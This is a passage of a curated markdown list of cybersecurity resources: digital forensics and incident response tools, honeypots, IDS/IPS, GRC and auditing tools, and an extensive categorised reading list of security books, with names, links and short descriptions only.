* [Bitscout](https://github.com/vitaly-kamluk/bitscout) - Bitscout by Vitaly Kamluk helps you build your fully-trusted customizable LiveCD/LiveUSB image to be used for remote digital forensics, or perhaps any other task of your choice. It is meant to be transparent and monitorable by the owner of the system, forensically sound, customizable and compact.
* [GetData Forensic Imager](https://getdataforensics.com/product/fex-imager/) - GetData Forensic Imager is a Windows based program that will acquire, convert, or verify a forensic image in one of the following common forensic file formats.
* [Guymager](https://guymager.sourceforge.io/) - Guymager is a free forensic imager for media acquisition on Linux.
* [Magnet ACQUIRE](https://www.magnetforensics.com/resources/magnet-acquire/) - ACQUIRE by Magnet Forensics allows various types of disk acquisitions to be performed on Windows, Linux, and OS X as well as mobile operating systems.
### Evidence Collection Tools
* [Bulk_extractor](https://github.com/simsong/bulk_extractor) - bulk_extractor is a computer forensics tool that scans a disk image, a file, or a directory of files and extracts useful information without parsing the file system or file system structures. Because of ignoring the file system structure, the program distinguishes itself in terms of speed and thoroughness.
* [Cold Disk Quick Response](https://github.com/orlikoski/CDQR) - uses a streamlined list of parsers to quickly analyze a forenisic image file, dd, E01, .vmdk, etc, and output nine reports.
* [Ir-rescue](https://github.com/diogo-fernan/ir-rescue) - -ir-rescue - is a Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response.
* [Live Response Collection](https://www.brimorlabs.com/tools/) - The Live Response collection by BriMor Labs is an automated tool that collects volatile data from Windows, OSX, and -nix based operating systems.
### Incident Management Tools
* [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/xsoar) - Security orchestration tool. Formerly Demisto community edition. Offers full Incident lifecycle management, Incident Closure Reports, team assignments and collaboration, and many integrations to enhance automations, like Active Directory, PagerDuty, Jira and much more.
* [CyberCPR](https://www.cybercpr.com) - A community and commercial incident management tool with Need-to-Know built in to support GDPR compliance while handling sensitive incidents.
* [Cyphon](https://www.cyphon.io/) - Cyphon eliminates the headaches of incident management by streamlining a multitude of related tasks through a single platform. It receives, processes and triages events to provide an all-encompassing solution for your analytic workflow — aggregating data, bundling and prioritizing alerts, and empowering analysts to investigate and document incidents.
* [FIR](https://github.com/certsocietegenerale/FIR/) - Fast Incident Response, FIR, is an cybersecurity incident management platform designed with agility and speed in mind. It allows for easy creation, tracking, and reporting of cybersecurity incidents and is useful for CSIRTs, CERTs and SOCs alike.
* [RTIR](https://bestpractical.com/rtir/) - Request Tracker for Incident Response, RTIR, is the premier open source incident handling system targeted for computer security teams. We worked with over a dozen CERT and CSIRT teams around the world to help you handle the ever-increasing volume of incident reports. RTIR builds on all the features of Request Tracker.
* [SCOT](https://getscot.sandia.gov/) - Sandia Cyber Omni Tracker, SCOT, is an Incident Response collaboration and knowledge capture tool focused on flexibility and ease of use. Our goal is to add value to the incident response process without burdening the user.
* [Threat_note](https://github.com/DefensePointSecurity/threat_note) - A lightweight investigation notebook that allows security researchers the ability to register and retrieve indicators related to their research.
#### Incident Response Playbooks
* [IR Workflow Gallery](https://www.incidentresponse.com/playbooks/) - Different generic incident response workflows, e.g. for malware outbreak, data theft, unauthorized access,... Every workflow constists of seven steps: prepare, detect, analyze, contain, eradicate, recover, post-incident handling.
* [IRM](https://github.com/certsocietegenerale/IRM) - Incident Response Methodologies by CERT Societe Generale.
* [PagerDuty Incident Response Documentation](https://github.com/PagerDuty/incident-response-docs) - Documents that describe parts of the PagerDuty Incident Response process. It provides information not only on preparing for an incident, but also what to do during and after.
### Linux Forensics Distributions
* [ADIA](https://forensics.cert.org/#ADIA) - The Appliance for Digital Investigation and Analysis, ADIA, is a VMware-based appliance used for digital investigation and acquisition and is built entirely from public domain software. Among the tools contained in ADIA are Autopsy, the Sleuth Kit, the Digital Forensics Framework, log2timeline, Xplico, and Wireshark. Most of the system maintenance uses Webmin. It is designed for small-to-medium sized digital investigations and acquisitions. The appliance runs under Linux, Windows, and Mac OS. Both i386 32-bit and x86_64 versions are available.
* [CAINE](https://www.caine-live.net/index.html) - The Computer Aided Investigative Environment, CAINE, contains numerous tools that help investigators during their analysis, including forensic evidence collection.
* [CCF-VM](https://github.com/orlikoski/Skadi) - CyLR CDQR Forensics Virtual Machine, CCF-VM: An all-in-one solution to parsing collected data, making it easily searchable with built-in common searches, enable searching of single and multiple hosts simultaneously.
* [DEFT](http://na.mirror.garr.it/mirrors/deft/) - The Digital Evidence & Forensics Toolkit, DEFT, is a Linux distribution made for computer forensic evidence collection. It comes bundled with the Digital Advanced Response Toolkit, DART, for Windows. A light version of DEFT, called DEFT Zero, is also available, which is focused primarily on forensically sound evidence collection.
* [NST - Network Security Toolkit](https://sourceforge.net/projects/nst/files/latest/download?source=files) - Linux distribution that includes a vast collection of best-of-breed open source network security applications useful to the network security professional.
* [PALADIN](https://sumuri.com/software/paladin/) - PALADIN is a modified Linux distribution to perform various forenics task in a forensically sound manner. It comes with many open source forensics tools included.
* [Security Onion](https://github.com/Security-Onion-Solutions/security-onion) - Security Onion is a special Linux distro aimed at network security monitoring featuring advanced analysis tools.
* [SIFT Workstation](http://digital-forensics.sans.org/community/downloads) - The SANS Investigative Forensic Toolkit, SIFT, Workstation demonstrates that advanced incident response capabilities and deep dive digital forensic techniques to intrusions can be accomplished using cutting-edge open-source tools that are freely available and frequently updated.
#### Linux Evidence Collection
* [FastIR Collector Linux](https://github.com/SekoiaLab/Fastir_Collector_Linux) - FastIR for Linux collects different artefacts on live Linux and records the results in csv files.
#### Log Analysis Tools
* [Logdissect](https://github.com/dogoncouch/logdissect) - A CLI utility and Python API for analyzing log files and other data.
* [Lorg](https://github.com/jensvoid/lorg) - a tool for advanced HTTPD logfile security analysis and forensics.
### OSX Evidence Collection
* [Knockknock](https://wiert.me/2020/02/10/github-synack-knockknock-whos-there/) - Displays persistent items, scripts, commands, binaries, etc., that are set to execute automatically on OSX.
* [Mac_apt - macOS Artifact Parsing Tool](https://github.com/ydkhatri/mac_apt) - Plugin based forensics framework for quick mac triage that works on live machines, disk images or individual artifact files.
* [OSX Auditor](https://github.com/jipegit/OSXAuditor) - OSX Auditor is a free Mac OS X computer forensics tool.
* [OSX Collector](https://github.com/yelp/osxcollector) - An OSX Auditor offshoot for live response.
### Process Dump Tools
* [Microsoft User Mode Process Dumping](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/user-mode-dump-files) - User mode process dumping guide.
* [PMDump](https://vidstromlabs.com/freetools/pmdump/) - PMDump is a tool that lets you dump the memory contents of a process to a file without stopping the process.
### Honeypot Tools
* [bap - Basic Authentication honeyPot](https://github.com/bjeborn/basic-auth-pot/) - HTTP basic authentication web service honeypot.
* [conpot](https://github.com/mushorg/conpot/) - ICS/SCADA honeypot.
* [Cowrie Docker](https://github.com/cowrie/docker-cowrie) - Docker version of Cowrie, SSH/Telnet honeypot.
* [Cowrie](https://github.com/cowrie/cowrie/) - SSH/Telnet honeypot.
* [dionaea](https://github.com/DinoTools/dionaea) - Multipurpose honeypot.
* [elastichoney](https://github.com/jordan-wright/elastichoney/) - Elasticsearch honeypot.
* [glastopf](https://github.com/mushorg/glastopf/) - Python based web application honeypot.
* [glutton](https://github.com/mushorg/glutton/) - Multipurpose honeypot.
* [Modern Honey Network (mhn)](https://github.com/pwnlandia/mhn) - Multipurpose honeypot with centralized management and many integrations.
* [MongoDB-HoneyProxy](https://github.com/Plazmaz/MongoDB-HoneyProxy/) - MongoDB honeypot.
* [MysqlPot](https://github.com/schmalle/MysqlPot/) - MySQL honeypot.
* [Nodepot](https://github.com/schmalle/Nodepot/) - NodeJS web application honeypot.
* [Nosqlpot](https://github.com/torque59/nosqlpot/) - NoSQL honeypot.
* [phpmyadmin_honeypot](https://github.com/gfoss/phpmyadmin_honeypot/) - PHPMyAdmin honeypot.
* [Servletpot](https://github.com/schmalle/Servletpot/) - Web application honeypot written in Java, making use of Apache HttpClient libraries, MySQL connector, Cassandra connector.
* [Shadow Daemon](https://github.com/zecure/shadowd/) - Collection of tools to detect, record, and prevent attacks on web applications.
* [smart-honeypot](https://github.com/freak3dot/smart-honeypot/) - PHP based honeypot.
* [SpamScope](https://github.com/SpamScope/spamscope/) - Spam analysis tool.
* [Thug](https://github.com/buffer/thug/) - Python based honeyclient tool.
* [Wordpot](https://github.com/gbrindisi/wordpot) - WordPress honeypot.
* [wp-smart-honeypot](https://github.com/freak3dot/wp-smart-honeypot/) - WordPress plugin and honeypot designed to reduce comment spam.
### IDS / IPS
* [AIEngine](https://bitbucket.org/camp0/aiengine/src/master/) - Very advanced NIDS.
* [Elastic Stack](https://www.elastic.co/products/) - Also known as the ELK stack, the combination of Elasticsearch, Logstash, and Kibana, for monitoring and logging.
* [OSSEC](https://www.ossec.net/) - Open source HIDS.
* [Security Onion](https://github.com/Security-Onion-Solutions/security-onion) - Linux distro for monitoring.
* [Snort](https://www.snort.org/) - Open source NIPS/NIDS.
* [SSHWATCH](https://github.com/marshyski/sshwatch) - SSH IPS.
* [Suricata](https://suricata-ids.org/) - Open source NIPS/NIDS.
### Timeline tools
* [Highlighter](https://www.fireeye.com/services/freeware/highlighter.html) - Free Tool available from Fire/Mandiant that will depict log/text file that can highlight areas on the graphic, that corresponded to a key word or phrase. Good for time lining an infection and what was done post compromise.
* [Morgue](https://github.com/etsy/morgue) - A PHP Web app by Etsy for managing postmortems.
* [Plaso](https://github.com/log2timeline/plaso) - a Python-based backend engine for the tool log2timeline.
* [Timesketch](https://github.com/google/timesketch) - open source tool for collaborative forensic timeline analysis.
### Windows Evidence Collection
* [AChoir](https://github.com/OMENScan/AChoir) - Achoir is a framework/scripting tool to standardize and simplify the process of scripting live acquisition utilities for Windows.
* [Binaryforay](https://binaryforay.blogspot.com/p/software.html) - list of free tools for win forensics.
* [Crowd Response](https://www.crowdstrike.com/resources/community-tools/) - Crowd Response by CrowdStrike is a lightweight Windows console application designed to aid in the gathering of system information for incident response and security engagements. It features numerous modules and output formats.
* [FastIR Collector](https://github.com/SekoiaLab/Fastir_Collector) - FastIR Collector is a tool that collects different artefacts on live Windows systems and records the results in csv files. With the analyses of these artefacts, an early compromise can be detected.
* [FECT](https://github.com/jipegit/FECT) - Fast Evidence Collector Toolkit, FECT, is a light incident response toolkit to collect evidences on a suspicious Windows computer. Basically it is intended to be used by non-tech savvy people working with a journeyman Incident Handler.
* [Fibratus](https://github.com/rabbitstack/fibratus) - tool for exploration and tracing of the Windows kernel.
* [IREC](https://binalyze.com/irec/) - All-in-one IR Evidence Collector which captures RAM Image, $MFT, EventLogs, WMI Scripts, Registry Hives, System Restore Points and much more. It is FREE, lightning fast and easy to use.
* [IOC Finder](https://www.fireeye.com/services/freeware/ioc-finder.html) - IOC Finder is a free tool from Mandiant for collecting host system data and reporting the presence of Indicators of Compromise. Support for Windows only.
* [LOKI](https://github.com/Neo23x0/Loki) - Loki is a free IR scanner for scanning endpoint with yara rules and other indicators.
* [Panorama](https://github.com/AlmCo/Panorama) - Fast incident overview on live Windows systems.
* [PowerForensics](https://github.com/Invoke-IR/PowerForensics) - Live disk forensics platform, using PowerShell.
* [PSRecon](https://github.com/gfoss/PSRecon/) - PSRecon gathers data from a remote Windows host using PowerShell](v2 or later), organizes the data into folders, hashes all extracted data, hashes PowerShell and various system properties, and sends the data off to the security team. The data can be pushed to a share, sent over email, or retained locally.
* [RegRipper](https://github.com/keydet89/RegRipper3.0) - Regripper is an open source tool, written in Perl, for extracting/parsing information, keys, values, and data from the Registry and presenting it for analysis.
* [TRIAGE-IR](https://code.google.com/archive/p/triage-ir/) - Triage-IR is a IR collector for Windows.
<hr>
<br>
## Purple Teaming / Security Training
* [Dockerized Android](https://github.com/cybersecsi/dockerized-android) - A Container-Based framework to enable the integration of mobile components in security training platforms
* [AzureHunter] - A Cloud Forensics Powershell Module To Run Threat Hunting Playbooks On Data From Azure And O365
<hr>
<br>
# Governance Risk & Compliance (GRC) Tools
* [Management Program](https://github.com/magoo/minimalist-risk-management)
* [GRC Resource List](https://github.com/Arudjreis/awesome-security-GRC)
* [Ultimate GRC](https://www.oceg.org/)
* [ISO 27001 Implementation](https://www.udemy.com/course/information-security-for-beginners/?couponCode=LINKEDIN09)
* [Windows Security Encyclopaedia](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/)
## Device Hardening
- Department of Defense Cyber Exchange: Provides STIGs w/ hardening guidelines for a variety of software and hardware solutions
- National Checklist Program (NCP): Provided by the NIST, checklists and benchmarks for OSs and applications
* [SimplyCyber](https://simplycyber.teachable.com/) — GRC
## Auditing Tools
* [lansweeper](https://www.lansweeper.com/) — Scan hosts and compiles an asset information database (Asset inventory management)
* [Domain Password Audit Tool (DPAT)](https://github.com/clr2of8/DPAT) — Generate password statistics from hashes from a DC and a password crack file
* [Ping Castle](https://github.com/vletoux/pingcastle) — Assess the security level of the AD based on risk assessment and a maturity framework
* [Domain Audit](https://github.com/0xJs/domain_audit) — Wrapper around PowerView, Impacket, PowerUpSQL and BloodHound to execute a lot of checks
**Cloud**
* [Recon Cloud](https://recon.cloud/) - Cloud asset scanner
# Networking
* [Tailscale](https://tailscale.com/)
<hr>
<br>
# Books
# Need to Go Through
* A Bug Hunter's Diary: A Guided Tour Through the Wilds of Software Security
* A Short Course on Computer Viruses
* AVIEN Malware Defense Guide for the Enterprise
* Advanced Penetration Testing: Hacking the World's Most Secure Networks
* Applied Cryptography: Protocols, Algorithms and Source Code in C
* Applied Network Security Monitoring: Collection, Detection, and Analysis
* Black Hat Python: Python Programming for Hackers and Pentesters
* Bug Bounty Bootcamp By Vickie Li
* Blue Team Handbook: Incident Response Edition: A condensed field guide for the Cyber Security Incident Responder
* Bulletproof SSL and TLS: Understanding and Deploying SSL/TLS and PKI to Secure Servers and Web Applications
* CEH Certified Ethical Hacker All-in-One Exam Guide
* CISSP All-in-One Exam Guide
* CISSP: Certified Information Systems Security Professional Study Guide
* CISSP](ISC)2 Certified Information Systems Security Professional Official Study Guide
* Countdown to Zero Day: Stuxnet and the Launch of the World's First Digital Weapon
* Cryptography Engineering: Design Principles and Practical Applications
* Cyber War: The Next Threat to National Security and What to Do About It
* Cybersecurity - Protecting Critical Infrastructures from Cyber Attack and Cyber Warfare
* Cybersecurity and Cyberwar: What Everyone Needs to Know
* Cybersecurity and Human Rights in the Age of Cyberveillance
* Cyberspies: The Secret History of Surveillance, Hacking, and Digital Espionage
* Essentials of Cybersecurity
* Future Crimes: Inside the Digital Underground and the Battle for Our Connected World
* Ghost in the Wires: My Adventures as the World's Most Wanted Hacker
* Hacked Again
* Hacking Exposed 7
* Hacking: The Art of Exploitation
* How Linux Works: What every superuser should know
* Information Assurance Handbook: Effective Computer Security and Risk Management Strategies
* Linux Shell Scripting Cookbook
* Network Forensics: Tracking Hackers through Cyberspace
* Network Security Through Data Analysis: Building Situational Awareness
* Penetration Testing: A Hands-On Introduction to Hacking
* Practical Malware Analysis: A Hands-On Guide to Dissecting Malicious Software
* Practice of Network Security Monitoring
* Protecting Your Internet Identity: Are You Naked Online?
* Protection and Security on the Information Superhighway
* Reversing: Secrets of Reverse Engineering
* Rtfm: Red Team Field Manual
* Security Metrics, A Beginner's Guide
* Spam Nation: The Inside Story of Organized Cybercrime-from Global Epidemic to Your Front Door
* Surreptitious Software: Obfuscation, Watermarking, and Tamperproofing for Software Protection
* TCP/IP Illustrated
* The Art of Computer Virus Research and Defense
* The Art of Deception: Controlling the Human Element of Security
* The Art of Memory Forensics
* The Beginner's Guide to Information Security
* The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography
* The Computer Incident Response Planning Handbook: Executable Plans for Protecting Information at Risk
* The Cyber Skill Gap
* The Hacker Playbook: Practical Guide To Penetration Testing
* The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler
* The Ncsa Guide to PC and Lan Security
* The Shellcoder's Handbook: Discovering and Exploiting Security Holes
* The Tao of Network Security Monitoring: Beyond Intrusion Detection
* The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws
* Thinking Security: Stopping Next Year's Hackers
* Understanding Cryptography: A Textbook for Students and Practitioners
* We Are Anonymous: Inside the Hacker World of LulzSec, Anonymous, and the Global Cyber Insurgency
* Web Application Vulnerabilities: Detect, Exploit, Prevent
* Windows Internals
* Worm: The First Digital World War
* [A Search Engine Backed by Internet-Wide Scanning - Ariana Mirian](https://censys.io/static/censys.pdf)
* [Advanced Penetration Testing by Wil Allsopp, 2017](https://www.amazon.com/dp/1119367689/)
* [Advanced Penetration Testing for Highly-Secured Environments by Lee Allen, 2012](https://www.packtpub.com/product/advanced-penetration-testing-for-highly-secured-environments-the-ultimate-security-guide/9781849517744)
* [Advanced Persistent Threat Hacking: The Art and Science of Hacking Any Organization by Tyler Wrightson, 2014](https://www.amazon.com/dp/0071828362)
* [Android Hackers Handbook by Joshua J. Drake et al., 2014](https://www.wiley.com/en-us/Android+Hacker%27s+Handbook-p-9781118608647)
* [Black Hat Python: Python Programming for Hackers and Pentesters by Justin Seitz, 2014](https://www.amazon.com/dp/1593275900)
* [Btfm: Blue Team Field Manual by Alan White and Ben Clark](https://www.amazon.com/dp/154101636X)
* [Bug Hunter's Diary by Tobias Klein, 2011](https://nostarch.com/bughunter)
* [CIA Lock Picking Field Operative Training Manual](https://www.scribd.com/doc/7207/CIA-Lock-Picking-Field-Operative-Training-Manual)
* [Car Hacker's Handbook by Craig Smith, 2016]( https://nostarch.com/carhacking)
* [CompTIA Security+ SY0-501 Certification Study Guide](https://www.comptia.org/training/books/security-sy0-501-study-guide)
* [Complete Guide to Shodan](https://leanpub.com/shodan)
* [Dfir intro](https://sroberts.medium.com/introduction-to-dfir-d35d5de4c180)
* [Eddie the Wire books](https://www.thriftbooks.com/a/eddie-the-wire/397834/)
* [Essentials of Enterprise Network Security](https://res.cloudinary.com/peerlyst/image/upload/v1499385854/post-attachments/Essentials_of_Enterprise_Network_Security_wiqsvc.pdf)
* [Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton et al., 2007](http://www.fuzzing.org/)
* [Ghost in the Wires by Kevin D. Mitnick & William L. Simon, 2011](https://www.hachettebookgroup.com/titles/kevin-mitnick/ghost-in-the-wires/9780316134477/)
* [Gray Hat Hacking The Ethical Hacker's Handbook by Daniel Regalado et al., 2015](https://www.amazon.com/dp/0071832386)
* [Hacking the Xbox by Andrew Huang, 2003](https://nostarch.com/xbox)
* [Holistic Info-Sec for Web Developers](bundle)](https://leanpub.com/b/holisticinfosecforwebdevelopers)
* [Kali Linux Revealed](https://kali.training/downloads/Kali-Linux-Revealed-1st-edition.pdf)
* [Keys to the Kingdom by Deviant Ollam, 2012](https://www.elsevier.com/books/keys-to-the-kingdom/ollam/978-1-59749-983-5)
* [Lock Picking: Detail Overkill by Solomon](https://www.dropbox.com/s/y39ix9u9qpqffct/Lockpicking%20Detail%20Overkill.pdf?dl=0)
* [Malware Analyst's Cookbook and DVD by Michael Hale Ligh et al., 2010](https://www.wiley.com/en-us/Malware+Analyst%27s+Cookbook+and+DVD%3A+Tools+and+Techniques+for+Fighting+Malicious+Code-p-9780470613030)
* [Metasploit: The Penetration Tester's Guide by David Kennedy et al., 2011](https://nostarch.com/metasploit)
* [Network Forensics: Tracking Hackers through Cyberspace by Sherri Davidoff & Jonathan Ham, 2012](https://www.amazon.com/dp/B008CG8CYU/)
* [Network Security Assessment by Chris McNab](https://www.amazon.com/dp/B0043EWUR0)
* [Nmap Network Scanning by Gordon Fyodor Lyon, 2009](https://nmap.org/book/)
* [No Tech Hacking by Johnny Long & Jack Wiles, 2008](https://www.elsevier.com/books/no-tech-hacking/mitnick/978-1-59749-215-7)
* [Open Source Intelligence Techniques - 8th Edition by Michael Bazell, 2021](https://www.amazon.com/dp/B08RRDTFF9/)
* [Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman, 2014](https://nostarch.com/pentesting)
* [Penetration Testing: Procedures & Methodologies by EC-Council, 2010](https://www.amazon.com/dp/1435483677)
* [Practical Lock Picking by Deviant Ollam, 2012](https://www.elsevier.com/books/practical-lock-picking/ollam/978-1-59749-989-7)
* [Practical Malware Analysis by Michael Sikorski & Andrew Honig, 2012](https://nostarch.com/malware)
* [Practical Packet Analysis by Chris Sanders, 2017](https://nostarch.com/packetanalysis3)
* [Practical Reverse Engineering by Bruce Dang et al., 2014](https://www.wiley.com/en-us/Practical+Reverse+Engineering%3A+x86%2C+x64%2C+ARM%2C+Windows+Kernel%2C+Reversing+Tools%2C+and+Obfuscation-p-9781118787311)
* [Professional Penetration Testing by Thomas Wilhelm, 2013](https://www.elsevier.com/books/professional-penetration-testing/wilhelm/978-1-59749-993-4)
* [Reverse Engineering for Beginners by Dennis Yurichev](https://beginners.re/main.html)
* [Rtfm: Red Team Field Manual by Ben Clark, 2014](https://www.amazon.com/dp/1494295504/)
* [Secure Programming HOWTO](https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html)
* [Social Engineering in IT Security: Tools, Tactics, and Techniques by Sharon Conheady, 2014](https://www.mhprofessional.com/9780071818469-usa-social-engineering-in-it-security-tools-tactics-and-techniques-group)
* [Social Engineering: The Art of Human Hacking by Christopher Hadnagy, 2010](https://www.wiley.com/en-us/Social+Engineering%3A+The+Art+of+Human+Hacking-p-9780470639535)
* [The Art of Deception by Kevin D. Mitnick & William L. Simon, 2002](https://www.wiley.com/en-us/The+Art+of+Deception%3A+Controlling+the+Human+Element+of+Security-p-9780471237129)
* [The Art of Exploitation by Jon Erickson, 2008](https://nostarch.com/hacking2.htm)
* [The Art of Intrusion by Kevin D. Mitnick & William L. Simon, 2005](https://www.wiley.com/en-us/The+Art+of+Intrusion%3A+The+Real+Stories+Behind+the+Exploits+of+Hackers%2C+Intruders+and+Deceivers-p-9780764569593)
* [The Art of Memory Forensics by Michael Hale Ligh et al., 2014](https://www.wiley.com/en-us/The+Art+of+Memory+Forensics%3A+Detecting+Malware+and+Threats+in+Windows%2C+Linux%2C+and+Mac+Memory-p-9781118825099)
* [The Basics of Hacking and Penetration Testing by Patrick Engebretson, 2013](https://www.elsevier.com/books/the-basics-of-hacking-and-penetration-testing/engebretson/978-1-59749-655-1)
* [The Browser Hackers Handbook by Wade Alcorn et al., 2014](https://www.wiley.com/en-us/The+Browser+Hacker%27s+Handbook-p-9781118662090)
* [The Database Hacker's Handbook, David Litchfield et al., 2005](https://www.wiley.com/en-us/The+Database+Hacker%27s+Handbook%3A+Defending+Database+Servers-p-9780764578014)
* [The Hacker Playbook by Peter Kim, 2014](https://www.amazon.com/dp/1494932636/)
* [The IDA Pro Book by Chris Eagle, 2011](https://nostarch.com/idapro2.htm)
* [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](https://www.wiley.com/en-us/The+Mac+Hacker%27s+Handbook-p-9780470395363)
* [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](https://www.wiley.com/en-us/The+Mobile+Application+Hacker%27s+Handbook-p-9781118958506)
* [The Practice of Network Security Monitoring: Understanding Incident Detection and Response 9](https://www.amazon.com/gp/product/1593275099)
* [The Shellcoders Handbook by Chris Anley et al., 2007](https://www.wiley.com/en-us/The+Shellcoder%27s+Handbook%3A+Discovering+and+Exploiting+Security+Holes%2C+2nd+Edition-p-9780470080238)
* [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](https://www.wiley.com/en-us/The+Web+Application+Hacker%27s+Handbook%3A+Finding+and+Exploiting+Security+Flaws%2C+2nd+Edition-p-9781118026472)
* [Unauthorised Access: Physical Penetration Testing For IT Security Teams by Wil Allsopp, 2010](https://www.amazon.com/dp/B005DIAPKE)
* [Unmasking the Social Engineer: The Human Element of Security by Christopher Hadnagy, 2014](https://www.wiley.com/en-us/Unmasking+the+Social+Engineer%3A+The+Human+Element+of+Security-p-9781118608579)
* [Violent Python by TJ O'Connor, 2012](https://www.elsevier.com/books/violent-python/unknown/978-1-59749-957-6)
* [Windows Internals by Mark Russinovich et al., 2012](https://www.amazon.com/dp/0735648735/)
* [Wireshark Network Analysis by Laura Chappell & Gerald Combs, 2012](https://www.amazon.com/dp/1893939944)
* [iOS Hackers Handbook by Charlie Miller et al., 2012](https://www.wiley.com/en-us/iOS+Hacker%27s+Handbook-p-9781118204122)
## InfoSec Books
<br>
## Red Teaming
- Red Team Field Manual
<br>
### Penetration Testing
- Advanced Penetration Testing: Hacking the World’s Most Secure Networks
- Hands On Hacking
- Penetration Testing Essentials
- Penetration Testing: A Hands-On Introduction to Hacking
- The Basics of Hacking & Penetration Testing: Ethical Hacking & Penetration Made Easy
- The Pentester BluePrint: Starting a Career as an Ethical Hacker
<br>
### Social Engineering
- Social Engineering: The Science of Human Hacking
<br>
### Web Applications
- A Bug Hunter's Diary (Klein)
- Exploiting Software: How to Break Code (Hoglund and McGraw)
- Hands-on Web Penetration Testing with Metasploit (Singh and Sharma)
- Hunting Security Bugs (Gallagher, Landauer, and Jeffries)
- Professional Pen Testing for Web Applications: Programmer to Programmer (Andreu)
- Read-World Bug Hunting: A Field Guide to Web Hacking (Yaworski)
- SQL Injection Attacks and Defense (Clarke et al)
- Seven Deadliest Web Application Attacks (Shema)
- The Art of Software Security Assessment (Dowd, McDonald, and Schuh)
- The Tangled Web: A Guide to Securing Modern Web Applications (Zalewski)
- Web Penetration Testing with Kali Linux (Najera-Gutierrez and Ansari)
<br>
### Networking
- Aggressive Network Self-Defense (Wyler, Potter, and Hurley)
- Hacking Exposed: Network Security Secrets & Solutions (McClure et al)
- Silence on the Wire: A Field Guide to Passive Recon and Indirect Attacks (Zalewski)
- The Hacker's Handbook: Breaking Into & Defending Networks (Young and Aitel)
<br>
### Specialized
- Android Hacker's Handbook (Drake et al)
- Google Hacking for Penetration Testers (Long, Gardner, and Brown)
- Hacking Exposed Cisco Networks: Cisco Security (Vladimirov et al)
- iOS Hacker's Handbook (Miller et al)
- Practical IoT Hacking (Chantzis et al)
- Securing the Smart Grid: Next Generation Power Grid Security (Flick and Morehouse)
- Shellcoder's Handbook: Discovering and Exploiting Security Holes (Anley)
- Social Engineering: The Art of Human Hacking (Hadnagy et al)
- The Car Hacker's Handbook: A Guide for the Penetration Tester (Smith)
- The Database Hacker's Handbook: Defending Database Servers (Litchfield et al)
- The Hardware Hacker: Adventures in Making & Breaking Hardware (Huang)
- The Mac Hacker's Handbook (Miller and Zovi)
- The Mobile Application Hacker's Handbook (Chell)
- Unauthorized Access: Physical Penetration Testing for IT Security Teams (Allsopp)
- WarDriving and Wireless Penetration Testing (Hurley et al)
<br>
### Digging Deep
- A Guide to Kernel Exploitation: Attacking the Core (Perla and Oldani)
- Advanced Penetration Testing for Highly-Secured Environments (Allen and Cardwell)
- Advanced Penetration Testing: Hacking the World's Most Secure Networks (Allsopp)
- Advanced Persistent Threat Hacking: The Art & Science of Hacking (Wrightson)
- Applied Machine Learning/Neural Networks: Offensive Security (Atkins)
- Hacking: The Art of Exploitation , 1st or 2nd edition (Jon Erickson)
- Managed Code Rootkits: Hooking into Runtime Environments (Metula)
- Ninja Hacking: Unconventional Penetration Testing (Wilhelm and Andress)
- Rootkits and Bootkits (Matrosov, Rodionov, and Bratus)
<br>
## Cyber Intelligence
- Countdown to Zero
- Cyber Intelligence
- Cybersecurity & Cyberwar
- Dark Territory
- Routledge Handbook of Surveillance Studies
- Sandworm
- Surveillance Studies
- The Cambridge Handbook of Surveillance Law
- The Dark Net
- The Internet of Us
- Theorizing Surveillance
- We Are Bellingcat
- [Open Source Intelligence Techniques: Resources for Searching & Analyzing Online Information](https://inteltechniques.com/book1.html)
<br>
## Tool Guide
- Learning Nessus for Penetration Testing (Kumar)
- Metasploit Penetration Testing Cookbook (Teixeira, Singh, and Agarwal)
- Metasploit: The Penetration Tester's Guide (Kennedy)
- Nmap 6 Cookbook: The Fat-Free Guide to Network Security Scanning (Marsh)
- Nmap Network Scanning: The Official Nmap Project Guide (Fyodor)
- Penetration Tester's Open Source Toolkit (Faircloth)
## Kali Linux
- Digital Forensics With Kali Linux
- Hacking Exposed Linux (ISECOM)
- Kali Linux Revealed: Mastering the Penetration Testing Distro (Hertzog and O'Gorman)
- Linux Basics for Hackers: Getting Started with Networking, Scripting, & Security in Kali
- Linux Command Line and Shell Scripting Bible (Blum and Bresnahan)
- Linux Shell Scripting Cookbook (Flynt, Lakshman, and Tushar)
- The Linux Command Line: A Complete Introduction (Shotts)
- Wicked Cool Shell Scripts (Taylor and Perry)
<br>
## Real-World
- American Kingpin
- Black Software
- The Hacked World Order
- The Shadow Factory
- You Have A Very Soft Voice, Susan: A Shocking True Story of Internet Stalking
<br>
## Python
- Black Hat Python
- Cryptography With Python
- Grey Hat Python
- Violent Python
<br>
## Dark Web
- Burners & Black Markets
- Dark Web Investiagtions (Security Informatics & Law Enforcement)
- Inside The Dark Web
- Tor & The Dark Web
<br>
## Fiction
- The cuckoos egg
- CyberStorm: World War C
<br>
## Story Telling
- Countdown to Zero Day: Stuxnet (Zetter)
- Dark Territory: The Secret History of Cyber War (Kaplan)
- Dissecting the Hack: The F0rb1dd3n Network (Street, Nabors, and Baskin)
- Fatal System Error: Hunt for the New Crime Lords Bringing Down the Internet (Menn)
- Ghost in the Wires: My Adventures as the World's Most Wanted Hacker (Mitnick)
- Hackers & Painters: Big Ideas from the Computer Age (Graham)
- How to Hack Like a Pornstar: Breaking into a Bank (Sparc Flow)
- I, Robot (Asimov)
- Inside Cyber Warfare: Mapping the Cyber Underworld (Carr)
- Kingpin (Poulsen)
- Neuromancer (Gibson)
- Nineteen Eighty-Four (1984) (Orwell)
- No Place to Hide: Snowden, the NSA, and the U.S. Surveillance State (Greenwald)
- The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage (Stoll)
- The Girl with the Dragon Tattoo (Larsson)
- The Hitchhiker's Guide to the Galaxy (Adams)
- The Lure (Schroeder)
- Zero Day: The Threat in Cyberspace (The Washington Post and O'Harrow)
<br>
## Bug Hunting
